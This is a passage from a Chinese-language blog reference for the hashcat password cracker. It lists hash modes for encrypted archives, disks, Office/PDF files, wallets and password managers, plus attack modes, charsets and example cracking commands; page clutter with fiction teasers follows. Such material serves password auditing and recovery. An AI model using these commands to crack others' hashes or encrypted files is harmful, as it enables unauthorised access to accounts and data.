2400 Cisco-PIX MD5 操作系统
2410 Cisco-ASA MD5 操作系统
500 Cisco-IOS 1 (MD5) 操作系统
5700 Cisco-IOS type 4 (SHA256) 操作系统
9200 Cisco-IOS 8 (PBKDF2-SHA256) 操作系统
9300 Cisco-IOS 9 (scrypt) 操作系统
22 Juniper NetScreen/SSG (ScreenOS) 操作系统
501 Juniper IVE 操作系统
15100 Juniper/NetBSD sha1crypt 操作系统
7000 FortiGate (FortiOS) 操作系统
5800 Samsung Android Password/PIN 操作系统
13800 Windows Phone 8+ PIN/password 操作系统
8100 Citrix NetScaler 操作系统
8500 RACF 操作系统
7200 GRUB 2 操作系统
9900 Radmin2 操作系统
125 ArubaOS 操作系统
7700 SAP CODVN B (BCODE) 企业应用软件(EAS)
7800 SAP CODVN F/G (PASSCODE) 企业应用软件(EAS)
10300 SAP CODVN H (PWDSALTEDHASH) iSSHA-1 企业应用软件(EAS)
8600 Lotus Notes/Domino 5 企业应用软件(EAS)
8700 Lotus Notes/Domino 6 企业应用软件(EAS)
9100 Lotus Notes/Domino 8 企业应用软件(EAS)
133 PeopleSoft 企业应用软件(EAS)
13500 PeopleSoft PS_TOKEN 企业应用软件(EAS)
11600 7-Zip 压缩/存档
12500 RAR3-hp 压缩/存档
13000 RAR5 压缩/存档
13200 AxCrypt 压缩/存档
13300 AxCrypt in-memory SHA1 压缩/存档
13600 WinZip 压缩/存档
14700 iTunes 备份 < 10.0 备份
14800 iTunes 备份 >= 10.0 备份
62XY TrueCrypt 全盘加密(FDE)
X 1 = PBKDF2-HMAC-RIPEMD160 全盘加密(FDE)
X 2 = PBKDF2-HMAC-SHA512 全盘加密(FDE)
X 3 = PBKDF2-HMAC-Whirlpool 全盘加密(FDE)
X 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode 全盘加密(FDE)
Y 1 = XTS 512 bit pure AES 全盘加密(FDE)
Y 1 = XTS 512 bit pure Serpent 全盘加密(FDE)
Y 1 = XTS 512 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit pure AES 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Serpent 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded AES-Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Serpent-AES 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Twofish-Serpent 全盘加密(FDE)
Y 3 = XTS 1536 bit all 全盘加密(FDE)
8800 Android FDE <= 4.3 全盘加密(FDE)
12900 Android FDE (Samsung DEK) 全盘加密(FDE)
12200 eCryptfs 全盘加密(FDE)
137XY VeraCrypt 全盘加密(FDE)
X 1 = PBKDF2-HMAC-RIPEMD160 全盘加密(FDE)
X 2 = PBKDF2-HMAC-SHA512 全盘加密(FDE)
X 3 = PBKDF2-HMAC-Whirlpool 全盘加密(FDE)
X 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode 全盘加密(FDE)
X 5 = PBKDF2-HMAC-SHA256 全盘加密(FDE)
X 6 = PBKDF2-HMAC-SHA256 + boot-mode 全盘加密(FDE)
Y 1 = XTS 512 bit pure AES 全盘加密(FDE)
Y 1 = XTS 512 bit pure Serpent 全盘加密(FDE)
Y 1 = XTS 512 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit pure AES 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Serpent 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded AES-Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Serpent-AES 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Twofish-Serpent 全盘加密(FDE)
Y 3 = XTS 1536 bit all 全盘加密(FDE)
14600 LUKS 全盘加密(FDE)
9700 MS Office <= 2003 0/1, MD5 + RC4 文档
9710 MS Office <= 2003 0/1, MD5 + RC4, collider #1 文档
9720 MS Office <= 2003 0/1, MD5 + RC4, collider #2 文档
9800 MS Office <= 2003 3/4, SHA1 + RC4 文档
9810 MS Office <= 2003 3/4, SHA1 + RC4, collider #1 文档
9820 MS Office <= 2003 3/4, SHA1 + RC4, collider #2 文档
9400 MS Office 2007 文档
9500 MS Office 2010 文档
9600 MS Office 2013 文档
10400 PDF 1.1 - 1.3 (Acrobat 2 - 4) 文档
10410 PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 文档
10420 PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 文档
10500 PDF 1.4 - 1.6 (Acrobat 5 - 8) 文档
10600 PDF 1.7 Level 3 (Acrobat 9) 文档
10700 PDF 1.7 Level 8 (Acrobat 10 - 11) 文档
9000 Password Safe v2 密码管理软件
5200 Password Safe v3 密码管理软件
6800 LastPass + LastPass sniffed 密码管理软件
6600 1Password, agilekeychain 密码管理软件
8200 1Password, cloudkeychain 密码管理软件
11300 Bitcoin/Litecoin wallet.dat 密码管理软件
12700 Blockchain, My Wallet 密码管理软件
13400 KeePass 1 (AES/Twofish) and KeePass 2 (AES) 密码管理软件
99999 Plaintext Blockchain明文,我的钱包

③ 输出格式

编号 格式
1 hash[:salt]
2 plain
3 hash[:salt]:plain
4 hex_plain
5 hash[:salt]:hex_plain
6 plain:hex_plain
7 hash[:salt]:plain:hex_plain
8 crackpos
9 hash[:salt]:crack_pos
10 plain:crack_pos
11 hash[:salt]:plain:crack_pos
12 hex_plain:crack_pos
13 hash[:salt]:hex_plain:crack_pos
14 plain:hex_plain:crack_pos
15 hash[:salt]:plain:hex_plain:crack_pos

④ 调试模式规则

编号 格式
1 查找规则
2 原始词
3 原始词:查找规则
4 原始词:查找规则:已处理词

⑤ 攻击模式

编号 模式
0 直接
1 组合
3 暴力穷举
6 混合 字典 + 掩码
7 混合 掩码 + 字典

⑥ 内置字符集

? 字符集
l abcdefghijklmnopqrstuvwxyz
u ABCDEFGHIJKLMNOPQRSTUVWXYZ
d 0123456789
h 0123456789abcdef
H 0123456789ABCDEF
s !"#$%&'()*+,-./:;<=>?@[]^_`{ }~
a ?l?u?d?s
b 0x00 - 0xff

⑦ OpenCL设备类型

编号 设备类型
1 CPU
2 GPU
3 现场可编程门阵列(FPGA),数字信号处理器(DSP),协处理器(Co-Processor)

⑧ 工作负载配置文件

编号 性能 运行时间 能量消耗 桌面影响
1 2 ms 最小
2 默认 12 ms 经济型 可察觉
3 96 ms 没有反应
4 噩梦 480 ms 疯狂的 无法控制

⑨ 基本用例

攻击模式 Hash种类 示例命令
字典 P hashcat -a 0 -m 400 example400.hash example.dict
字典+规则 MD5 hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
暴力穷举 MD5 hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
组合 MD5 hashcat -a 1 -m 0 example0.hash example.dict example.dict
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,408评论 4 371
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,690评论 2 307
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 112,036评论 0 255
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,726评论 0 221
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,123评论 3 296
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,037评论 1 225
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,178评论 2 318
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,964评论 0 213
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,703评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,863评论 2 254
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,333评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,658评论 3 263
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,374评论 3 244
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,195评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,988评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,167评论 2 285
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,970评论 2 279

推荐阅读更多精彩内容